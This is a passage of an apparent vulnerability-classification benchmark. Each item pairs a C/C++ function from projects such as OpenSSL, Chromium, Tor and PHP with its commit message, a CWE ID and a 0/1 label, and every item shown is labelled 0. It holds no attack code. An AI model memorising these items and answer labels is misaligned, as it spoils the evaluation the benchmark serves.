/* Check signature algorithm of each cert in chain */
if (!tls1_check_sig_alg(c, x, default_nid)) {
if (!check_flags)
goto end;
} else
rv |= CERT_PKEY_EE_SIGNATURE;
rv |= CERT_PKEY_CA_SIGNATURE;
for (i = 0; i < sk_X509_num(chain); i++) {
if (!tls1_check_sig_alg(c, sk_X509_value(chain, i), default_nid)) {
if (check_flags) {
rv &= ~CERT_PKEY_CA_SIGNATURE;
break;
} else
goto end;
}
}
}
/* Else not TLS 1.2, so mark EE and CA signing algorithms OK */
else if (check_flags)
rv |= CERT_PKEY_EE_SIGNATURE | CERT_PKEY_CA_SIGNATURE;
skip_sigs:
/* Check cert parameters are consistent */
if (tls1_check_cert_param(s, x, check_flags ? 1 : 2))
rv |= CERT_PKEY_EE_PARAM;
else if (!check_flags)
goto end;
if (!s->server)
rv |= CERT_PKEY_CA_PARAM;
/* In strict mode check rest of chain too */
else if (strict_mode) {
rv |= CERT_PKEY_CA_PARAM;
for (i = 0; i < sk_X509_num(chain); i++) {
X509 *ca = sk_X509_value(chain, i);
if (!tls1_check_cert_param(s, ca, 0)) {
if (check_flags) {
rv &= ~CERT_PKEY_CA_PARAM;
break;
} else
goto end;
}
}
}
if (!s->server && strict_mode) {
STACK_OF(X509_NAME) *ca_dn;
int check_type = 0;
switch (EVP_PKEY_id(pk)) {
case EVP_PKEY_RSA:
check_type = TLS_CT_RSA_SIGN;
break;
case EVP_PKEY_DSA:
check_type = TLS_CT_DSS_SIGN;
break;
case EVP_PKEY_EC:
check_type = TLS_CT_ECDSA_SIGN;
break;
}
if (check_type) {
const unsigned char *ctypes;
int ctypelen;
if (c->ctypes) {
ctypes = c->ctypes;
ctypelen = (int)c->ctype_num;
} else {
ctypes = (unsigned char *)s->s3->tmp.ctype;
ctypelen = s->s3->tmp.ctype_num;
}
for (i = 0; i < ctypelen; i++) {
if (ctypes[i] == check_type) {
rv |= CERT_PKEY_CERT_TYPE;
break;
}
}
if (!(rv & CERT_PKEY_CERT_TYPE) && !check_flags)
goto end;
} else
rv |= CERT_PKEY_CERT_TYPE;
ca_dn = s->s3->tmp.ca_names;
if (!sk_X509_NAME_num(ca_dn))
rv |= CERT_PKEY_ISSUER_NAME;
if (!(rv & CERT_PKEY_ISSUER_NAME)) {
if (ssl_check_ca_name(ca_dn, x))
rv |= CERT_PKEY_ISSUER_NAME;
}
if (!(rv & CERT_PKEY_ISSUER_NAME)) {
for (i = 0; i < sk_X509_num(chain); i++) {
X509 *xtmp = sk_X509_value(chain, i);
if (ssl_check_ca_name(ca_dn, xtmp)) {
rv |= CERT_PKEY_ISSUER_NAME;
break;
}
}
}
if (!check_flags && !(rv & CERT_PKEY_ISSUER_NAME))
goto end;
} else
rv |= CERT_PKEY_ISSUER_NAME | CERT_PKEY_CERT_TYPE;
if (!check_flags || (rv & check_flags) == check_flags)
rv |= CERT_PKEY_VALID;
end:
if (TLS1_get_version(s) >= TLS1_2_VERSION) {
if (*pvalid & CERT_PKEY_EXPLICIT_SIGN)
rv |= CERT_PKEY_EXPLICIT_SIGN | CERT_PKEY_SIGN;
else if (s->s3->tmp.md[idx] != NULL)
rv |= CERT_PKEY_SIGN;
} else
rv |= CERT_PKEY_SIGN | CERT_PKEY_EXPLICIT_SIGN;
/*
* When checking a CERT_PKEY structure all flags are irrelevant if the
* chain is invalid.
*/
if (!check_flags) {
if (rv & CERT_PKEY_VALID)
*pvalid = rv;
else {
/* Preserve explicit sign flag, clear rest */
*pvalid &= CERT_PKEY_EXPLICIT_SIGN;
return 0;
}
}
return rv;
}
Commit Message:
CWE ID: CWE-20
| 0
| 9,452
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void OnNotificationBalloonCountObserver::CheckBalloonCount() {
bool balloon_count_met = AreActiveNotificationProcessesReady() &&
static_cast<int>(collection_->GetActiveBalloons().size()) == count_;
if (balloon_count_met && automation_) {
AutomationJSONReply(automation_,
reply_message_.release()).SendSuccess(NULL);
}
if (balloon_count_met || !automation_) {
collection_->set_on_collection_changed_callback(base::Closure());
delete this;
}
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 117,511
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual ~TestWindow() {}
Commit Message: Removed requirement for ash::Window::transient_parent() presence for system modal dialogs.
BUG=130420
TEST=SystemModalContainerLayoutManagerTest.ModalTransientAndNonTransient
Review URL: https://chromiumcodereview.appspot.com/10514012
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@140647 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 105,266
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: OMX_BUFFERHEADERTYPE *OMXNodeInstance::findBufferHeader(OMX::buffer_id buffer) {
if (buffer == 0) {
return NULL;
}
Mutex::Autolock autoLock(mBufferIDLock);
return mBufferIDToBufferHeader.valueFor(buffer);
}
Commit Message: IOMX: Enable buffer ptr to buffer id translation for arm32
Bug: 20634516
Change-Id: Iac9eac3cb251eccd9bbad5df7421a07edc21da0c
(cherry picked from commit 2d6b6601743c3c6960c6511a2cb774ef902759f4)
CWE ID: CWE-119
| 0
| 157,557
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int efx_probe_tx_queue(struct efx_tx_queue *tx_queue)
{
struct efx_nic *efx = tx_queue->efx;
unsigned int entries;
int i, rc;
/* Create the smallest power-of-two aligned ring */
entries = max(roundup_pow_of_two(efx->txq_entries), EFX_MIN_DMAQ_SIZE);
EFX_BUG_ON_PARANOID(entries > EFX_MAX_DMAQ_SIZE);
tx_queue->ptr_mask = entries - 1;
netif_dbg(efx, probe, efx->net_dev,
"creating TX queue %d size %#x mask %#x\n",
tx_queue->queue, efx->txq_entries, tx_queue->ptr_mask);
/* Allocate software ring */
tx_queue->buffer = kzalloc(entries * sizeof(*tx_queue->buffer),
GFP_KERNEL);
if (!tx_queue->buffer)
return -ENOMEM;
for (i = 0; i <= tx_queue->ptr_mask; ++i)
tx_queue->buffer[i].continuation = true;
/* Allocate hardware ring */
rc = efx_nic_probe_tx(tx_queue);
if (rc)
goto fail;
return 0;
fail:
kfree(tx_queue->buffer);
tx_queue->buffer = NULL;
return rc;
}
Commit Message: sfc: Fix maximum number of TSO segments and minimum TX queue size
[ Upstream commit 7e6d06f0de3f74ca929441add094518ae332257c ]
Currently an skb requiring TSO may not fit within a minimum-size TX
queue. The TX queue selected for the skb may stall and trigger the TX
watchdog repeatedly (since the problem skb will be retried after the
TX reset). This issue is designated as CVE-2012-3412.
Set the maximum number of TSO segments for our devices to 100. This
should make no difference to behaviour unless the actual MSS is less
than about 700. Increase the minimum TX queue size accordingly to
allow for 2 worst-case skbs, so that there will definitely be space
to add an skb after we wake a queue.
To avoid invalidating existing configurations, change
efx_ethtool_set_ringparam() to fix up values that are too small rather
than returning -EINVAL.
Signed-off-by: Ben Hutchings <bhutchings@solarflare.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
CWE ID: CWE-189
| 0
| 19,487
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: LayoutUnit RenderBlock::minLineHeightForReplacedRenderer(bool isFirstLine, LayoutUnit replacedHeight) const
{
if (!document().inNoQuirksMode() && replacedHeight)
return replacedHeight;
if (!(style(isFirstLine)->lineBoxContain() & LineBoxContainBlock))
return 0;
return std::max<LayoutUnit>(replacedHeight, lineHeight(isFirstLine, isHorizontalWritingMode() ? HorizontalLine : VerticalLine, PositionOfInteriorLineBoxes));
}
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 116,247
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebGL2RenderingContextBase::drawBuffers(const Vector<GLenum>& buffers) {
if (isContextLost())
return;
ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_,
drawing_buffer_.get());
GLsizei n = buffers.size();
const GLenum* bufs = buffers.data();
for (GLsizei i = 0; i < n; ++i) {
switch (bufs[i]) {
case GL_NONE:
case GL_BACK:
case GL_COLOR_ATTACHMENT0:
break;
default:
if (bufs[i] > GL_COLOR_ATTACHMENT0 &&
bufs[i] < static_cast<GLenum>(GL_COLOR_ATTACHMENT0 +
MaxColorAttachments()))
break;
SynthesizeGLError(GL_INVALID_ENUM, "drawBuffers", "invalid buffer");
return;
}
}
if (!framebuffer_binding_) {
if (n != 1) {
SynthesizeGLError(GL_INVALID_OPERATION, "drawBuffers",
"the number of buffers is not 1");
return;
}
if (bufs[0] != GL_BACK && bufs[0] != GL_NONE) {
SynthesizeGLError(GL_INVALID_OPERATION, "drawBuffers", "BACK or NONE");
return;
}
GLenum value = (bufs[0] == GL_BACK) ? GL_COLOR_ATTACHMENT0 : GL_NONE;
ContextGL()->DrawBuffersEXT(1, &value);
SetBackDrawBuffer(bufs[0]);
} else {
if (n > MaxDrawBuffers()) {
SynthesizeGLError(GL_INVALID_VALUE, "drawBuffers",
"more than max draw buffers");
return;
}
for (GLsizei i = 0; i < n; ++i) {
if (bufs[i] != GL_NONE &&
bufs[i] != static_cast<GLenum>(GL_COLOR_ATTACHMENT0_EXT + i)) {
SynthesizeGLError(GL_INVALID_OPERATION, "drawBuffers",
"COLOR_ATTACHMENTi_EXT or NONE");
return;
}
}
framebuffer_binding_->DrawBuffers(buffers);
}
}
Commit Message: Implement 2D texture uploading from client array with FLIP_Y or PREMULTIPLY_ALPHA.
BUG=774174
TEST=https://github.com/KhronosGroup/WebGL/pull/2555
R=kbr@chromium.org
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I4f4e7636314502451104730501a5048a5d7b9f3f
Reviewed-on: https://chromium-review.googlesource.com/808665
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#522003}
CWE ID: CWE-125
| 0
| 146,637
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: cmd_http_sendhex(CMD_ARGS)
{
struct http *hp;
char buf[3], *q;
uint8_t *p;
int i, j, l;
(void)cmd;
(void)vl;
CAST_OBJ_NOTNULL(hp, priv, HTTP_MAGIC);
AN(av[1]);
AZ(av[2]);
l = strlen(av[1]) / 2;
p = malloc(l);
AN(p);
q = av[1];
for (i = 0; i < l; i++) {
while (vct_issp(*q))
q++;
if (*q == '\0')
break;
memcpy(buf, q, 2);
q += 2;
buf[2] = '\0';
if (!vct_ishex(buf[0]) || !vct_ishex(buf[1]))
vtc_log(hp->vl, 0, "Illegal Hex char \"%c%c\"",
buf[0], buf[1]);
p[i] = (uint8_t)strtoul(buf, NULL, 16);
}
vtc_hexdump(hp->vl, 4, "sendhex", (void*)p, i);
j = write(hp->fd, p, i);
assert(j == i);
free(p);
}
Commit Message: Do not consider a CR by itself as a valid line terminator
Varnish (prior to version 4.0) was not following the standard with
regard to line separator.
Spotted and analyzed by: Régis Leroy [regilero] regis.leroy@makina-corpus.com
CWE ID:
| 0
| 95,031
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: OMX_BUFFERHEADERTYPE* omx_vdec::allocate_color_convert_buf::get_il_buf_hdr()
{
if (!omx) {
DEBUG_PRINT_ERROR("Invalid param get_buf_hdr");
return NULL;
}
if (!enabled)
return omx->m_out_mem_ptr;
return m_out_mem_ptr_client;
}
Commit Message: DO NOT MERGE mm-video-v4l2: vdec: Avoid processing ETBs/FTBs in invalid states
(per the spec) ETB/FTB should not be handled in states other than
Executing, Paused and Idle. This avoids accessing invalid buffers.
Also add a lock to protect the private-buffers from being deleted
while accessing from another thread.
Bug: 27890802
Security Vulnerability - Heap Use-After-Free and Possible LPE in
MediaServer (libOmxVdec problem #6)
CRs-Fixed: 1008882
Change-Id: Iaac2e383cd53cf9cf8042c9ed93ddc76dba3907e
CWE ID:
| 0
| 160,284
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static HeapVector<Member<Resource>> CachedResourcesForFrame(LocalFrame* frame,
bool skip_xhrs) {
HeapVector<Member<Resource>> result;
Document* root_document = frame->GetDocument();
HeapVector<Member<Document>> loaders =
InspectorPageAgent::ImportsForFrame(frame);
CachedResourcesForDocument(root_document, result, skip_xhrs);
for (size_t i = 0; i < loaders.size(); ++i)
CachedResourcesForDocument(loaders[i], result, skip_xhrs);
return result;
}
Commit Message: DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Commit-Queue: Andrey Lushnikov <lushnikov@chromium.org>
Cr-Commit-Position: refs/heads/master@{#507936}
CWE ID: CWE-119
| 0
| 138,550
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool HasWebRequestScheme(const GURL& url) {
return (url.SchemeIs(url::kAboutScheme) || url.SchemeIs(url::kFileScheme) ||
url.SchemeIs(url::kFileSystemScheme) ||
url.SchemeIs(url::kFtpScheme) || url.SchemeIs(url::kHttpScheme) ||
url.SchemeIs(url::kHttpsScheme) ||
url.SchemeIs(extensions::kExtensionScheme));
}
Commit Message: Make extensions use a correct same-origin check.
GURL::GetOrigin does not do the right thing for all types of URLs.
BUG=573317
Review URL: https://codereview.chromium.org/1658913002
Cr-Commit-Position: refs/heads/master@{#373381}
CWE ID: CWE-284
| 0
| 132,969
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: node_get_prim_addr_ipv4h(const node_t *node)
{
/* Don't check the ORPort or DirPort, as this function isn't port-specific,
* and the node might have a valid IPv4 address, yet have a zero
* ORPort or DirPort.
*/
if (node->ri && tor_addr_is_valid_ipv4h(node->ri->addr, 0)) {
return node->ri->addr;
} else if (node->rs && tor_addr_is_valid_ipv4h(node->rs->addr, 0)) {
return node->rs->addr;
}
return 0;
}
Commit Message: Consider the exit family when applying guard restrictions.
When the new path selection logic went into place, I accidentally
dropped the code that considered the _family_ of the exit node when
deciding if the guard was usable, and we didn't catch that during
code review.
This patch makes the guard_restriction_t code consider the exit
family as well, and adds some (hopefully redundant) checks for the
case where we lack a node_t for a guard but we have a bridge_info_t
for it.
Fixes bug 22753; bugfix on 0.3.0.1-alpha. Tracked as TROVE-2016-006
and CVE-2017-0377.
CWE ID: CWE-200
| 0
| 69,791
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DocumentLoader::CancelLoadAfterCSPDenied(
const ResourceResponse& response) {
probe::CanceledAfterReceivedResourceResponse(
frame_, this, MainResourceIdentifier(), response, main_resource_.Get());
SetWasBlockedAfterCSP();
ClearMainResourceHandle();
content_security_policy_.Clear();
KURL blocked_url = SecurityOrigin::UrlWithUniqueSecurityOrigin();
original_request_.SetURL(blocked_url);
request_.SetURL(blocked_url);
redirect_chain_.pop_back();
AppendRedirect(blocked_url);
response_ = ResourceResponse(blocked_url, "text/html", 0, g_null_atom);
FinishedLoading(MonotonicallyIncreasingTime());
return;
}
Commit Message: Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
CWE ID: CWE-732
| 0
| 134,437
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int EC_POINT_is_on_curve(const EC_GROUP *group, const EC_POINT *point,
BN_CTX *ctx)
{
if (group->meth->is_on_curve == 0) {
ECerr(EC_F_EC_POINT_IS_ON_CURVE, ERR_R_SHOULD_NOT_HAVE_BEEN_CALLED);
return 0;
}
if (group->meth != point->meth) {
ECerr(EC_F_EC_POINT_IS_ON_CURVE, EC_R_INCOMPATIBLE_OBJECTS);
return 0;
}
return group->meth->is_on_curve(group, point, ctx);
}
Commit Message:
CWE ID: CWE-311
| 0
| 12,082
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void s_wrpkt(Ssh ssh, struct Packet *pkt)
{
int len, backlog, offset;
len = s_wrpkt_prepare(ssh, pkt, &offset);
backlog = s_write(ssh, pkt->data + offset, len);
if (backlog > SSH_MAX_BACKLOG)
ssh_throttle_all(ssh, 1, backlog);
ssh_free_packet(pkt);
}
Commit Message:
CWE ID: CWE-119
| 0
| 8,523
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void JP2ErrorHandler(const char *message,void *client_data)
{
ExceptionInfo
*exception;
exception=(ExceptionInfo *) client_data;
(void) ThrowMagickException(exception,GetMagickModule(),CoderError,
message,"`%s'","OpenJP2");
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/501
CWE ID: CWE-20
| 0
| 62,103
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool GetFindBarWindowInfoForBrowser(
Browser* browser, gfx::Point* position, bool* fully_visible) {
FindBarTesting* find_bar =
browser->GetFindBarController()->find_bar()->GetFindBarTesting();
return find_bar->GetFindBarWindowInfo(position, fully_visible);
}
Commit Message: Rename the TabContentWrapper pieces to be "TabHelper"s. (Except for the PasswordManager... for now.) Also, just pre-create them up-front. It saves us effort, as they're all going to be eventually created anyway, so being lazy saves us nothing and creates headaches since the rules about what can be lazy differ from feature to feature.
BUG=71097
TEST=zero visible change
Review URL: http://codereview.chromium.org/6480117
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@75170 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 102,090
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::exitPointerLock() {
if (!GetPage())
return;
if (Element* target = GetPage()->GetPointerLockController().GetElement()) {
if (target->GetDocument() != this)
return;
GetPage()->GetPointerLockController().RequestPointerUnlock();
}
}
Commit Message: Cleanup and remove dead code in SetFocusedElement
This early-out was added in:
https://crrev.com/ce8ea3446283965c7eabab592cbffe223b1cf2bc
Back then, we applied fragment focus in LayoutUpdated() which could
cause this issue. This got cleaned up in:
https://crrev.com/45236fd563e9df53dc45579be1f3d0b4784885a2
so that focus is no longer applied after layout.
+Cleanup: Goto considered harmful
Bug: 795381
Change-Id: Ifeb4d2e03e872fd48cca6720b1d4de36ad1ecbb7
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1524417
Commit-Queue: David Bokan <bokan@chromium.org>
Reviewed-by: Stefan Zager <szager@chromium.org>
Cr-Commit-Position: refs/heads/master@{#641101}
CWE ID: CWE-416
| 0
| 129,962
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int scan(Scanner *s)
{
uchar *cursor = s->cur;
char *str, *ptr = NULL;
std:
s->tok = cursor;
s->len = 0;
#line 311 "ext/date/lib/parse_iso_intervals.re"
#line 291 "ext/date/lib/parse_iso_intervals.c"
{
YYCTYPE yych;
unsigned int yyaccept = 0;
static const unsigned char yybm[] = {
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
128, 128, 128, 128, 128, 128, 128, 128,
128, 128, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
};
YYDEBUG(0, *YYCURSOR);
if ((YYLIMIT - YYCURSOR) < 20) YYFILL(20);
yych = *YYCURSOR;
if (yych <= ',') {
if (yych <= '\n') {
if (yych <= 0x00) goto yy9;
if (yych <= 0x08) goto yy11;
if (yych <= '\t') goto yy7;
goto yy9;
} else {
if (yych == ' ') goto yy7;
if (yych <= '+') goto yy11;
goto yy7;
}
} else {
if (yych <= 'O') {
if (yych <= '-') goto yy11;
if (yych <= '/') goto yy7;
if (yych <= '9') goto yy4;
goto yy11;
} else {
if (yych <= 'P') goto yy5;
if (yych != 'R') goto yy11;
}
}
YYDEBUG(2, *YYCURSOR);
++YYCURSOR;
if ((yych = *YYCURSOR) <= '/') goto yy3;
if (yych <= '9') goto yy98;
yy3:
YYDEBUG(3, *YYCURSOR);
#line 424 "ext/date/lib/parse_iso_intervals.re"
{
add_error(s, "Unexpected character");
goto std;
}
#line 366 "ext/date/lib/parse_iso_intervals.c"
yy4:
YYDEBUG(4, *YYCURSOR);
yyaccept = 0;
yych = *(YYMARKER = ++YYCURSOR);
if (yych <= '/') goto yy3;
if (yych <= '9') goto yy59;
goto yy3;
yy5:
YYDEBUG(5, *YYCURSOR);
yyaccept = 1;
yych = *(YYMARKER = ++YYCURSOR);
if (yych <= '/') goto yy6;
if (yych <= '9') goto yy12;
if (yych == 'T') goto yy14;
yy6:
YYDEBUG(6, *YYCURSOR);
#line 351 "ext/date/lib/parse_iso_intervals.re"
{
timelib_sll nr;
int in_time = 0;
DEBUG_OUTPUT("period");
TIMELIB_INIT;
ptr++;
do {
if ( *ptr == 'T' ) {
in_time = 1;
ptr++;
}
if ( *ptr == '\0' ) {
add_error(s, "Missing expected time part");
break;
}
nr = timelib_get_unsigned_nr((char **) &ptr, 12);
switch (*ptr) {
case 'Y': s->period->y = nr; break;
case 'W': s->period->d = nr * 7; break;
case 'D': s->period->d = nr; break;
case 'H': s->period->h = nr; break;
case 'S': s->period->s = nr; break;
case 'M':
if (in_time) {
s->period->i = nr;
} else {
s->period->m = nr;
}
break;
default:
add_error(s, "Undefined period specifier");
break;
}
ptr++;
} while (*ptr);
s->have_period = 1;
TIMELIB_DEINIT;
return TIMELIB_PERIOD;
}
#line 424 "ext/date/lib/parse_iso_intervals.c"
yy7:
YYDEBUG(7, *YYCURSOR);
++YYCURSOR;
YYDEBUG(8, *YYCURSOR);
#line 413 "ext/date/lib/parse_iso_intervals.re"
{
goto std;
}
#line 433 "ext/date/lib/parse_iso_intervals.c"
yy9:
YYDEBUG(9, *YYCURSOR);
++YYCURSOR;
YYDEBUG(10, *YYCURSOR);
#line 418 "ext/date/lib/parse_iso_intervals.re"
{
s->pos = cursor; s->line++;
goto std;
}
#line 443 "ext/date/lib/parse_iso_intervals.c"
yy11:
YYDEBUG(11, *YYCURSOR);
yych = *++YYCURSOR;
goto yy3;
yy12:
YYDEBUG(12, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= 'L') {
if (yych <= '9') {
if (yych >= '0') goto yy25;
} else {
if (yych == 'D') goto yy24;
}
} else {
if (yych <= 'W') {
if (yych <= 'M') goto yy27;
if (yych >= 'W') goto yy26;
} else {
if (yych == 'Y') goto yy28;
}
}
yy13:
YYDEBUG(13, *YYCURSOR);
YYCURSOR = YYMARKER;
if (yyaccept <= 0) {
goto yy3;
} else {
goto yy6;
}
yy14:
YYDEBUG(14, *YYCURSOR);
yyaccept = 1;
yych = *(YYMARKER = ++YYCURSOR);
if (yybm[0+yych] & 128) {
goto yy15;
}
goto yy6;
yy15:
YYDEBUG(15, *YYCURSOR);
++YYCURSOR;
if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
yych = *YYCURSOR;
YYDEBUG(16, *YYCURSOR);
if (yybm[0+yych] & 128) {
goto yy15;
}
if (yych <= 'L') {
if (yych == 'H') goto yy19;
goto yy13;
} else {
if (yych <= 'M') goto yy18;
if (yych != 'S') goto yy13;
}
yy17:
YYDEBUG(17, *YYCURSOR);
yych = *++YYCURSOR;
goto yy6;
yy18:
YYDEBUG(18, *YYCURSOR);
yyaccept = 1;
yych = *(YYMARKER = ++YYCURSOR);
if (yych <= '/') goto yy6;
if (yych <= '9') goto yy22;
goto yy6;
yy19:
YYDEBUG(19, *YYCURSOR);
yyaccept = 1;
yych = *(YYMARKER = ++YYCURSOR);
if (yych <= '/') goto yy6;
if (yych >= ':') goto yy6;
yy20:
YYDEBUG(20, *YYCURSOR);
++YYCURSOR;
if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
yych = *YYCURSOR;
YYDEBUG(21, *YYCURSOR);
if (yych <= 'L') {
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy20;
goto yy13;
} else {
if (yych <= 'M') goto yy18;
if (yych == 'S') goto yy17;
goto yy13;
}
yy22:
YYDEBUG(22, *YYCURSOR);
++YYCURSOR;
if (YYLIMIT <= YYCURSOR) YYFILL(1);
yych = *YYCURSOR;
YYDEBUG(23, *YYCURSOR);
if (yych <= '/') goto yy13;
if (yych <= '9') goto yy22;
if (yych == 'S') goto yy17;
goto yy13;
yy24:
YYDEBUG(24, *YYCURSOR);
yych = *++YYCURSOR;
if (yych == 'T') goto yy14;
goto yy6;
yy25:
YYDEBUG(25, *YYCURSOR);
yych = *++YYCURSOR;
if (yych <= 'L') {
if (yych <= '9') {
if (yych <= '/') goto yy13;
goto yy35;
} else {
if (yych == 'D') goto yy24;
goto yy13;
}
} else {
if (yych <= 'W') {
if (yych <= 'M') goto yy27;
if (yych <= 'V') goto yy13;
} else {
if (yych == 'Y') goto yy28;
goto yy13;
}
}
yy26:
YYDEBUG(26, *YYCURSOR);
yyaccept = 1;
yych = *(YYMARKER = ++YYCURSOR);
if (yych <= '/') goto yy6;
if (yych <= '9') goto yy33;
if (yych == 'T') goto yy14;
goto yy6;
yy27:
YYDEBUG(27, *YYCURSOR);
yyaccept = 1;
yych = *(YYMARKER = ++YYCURSOR);
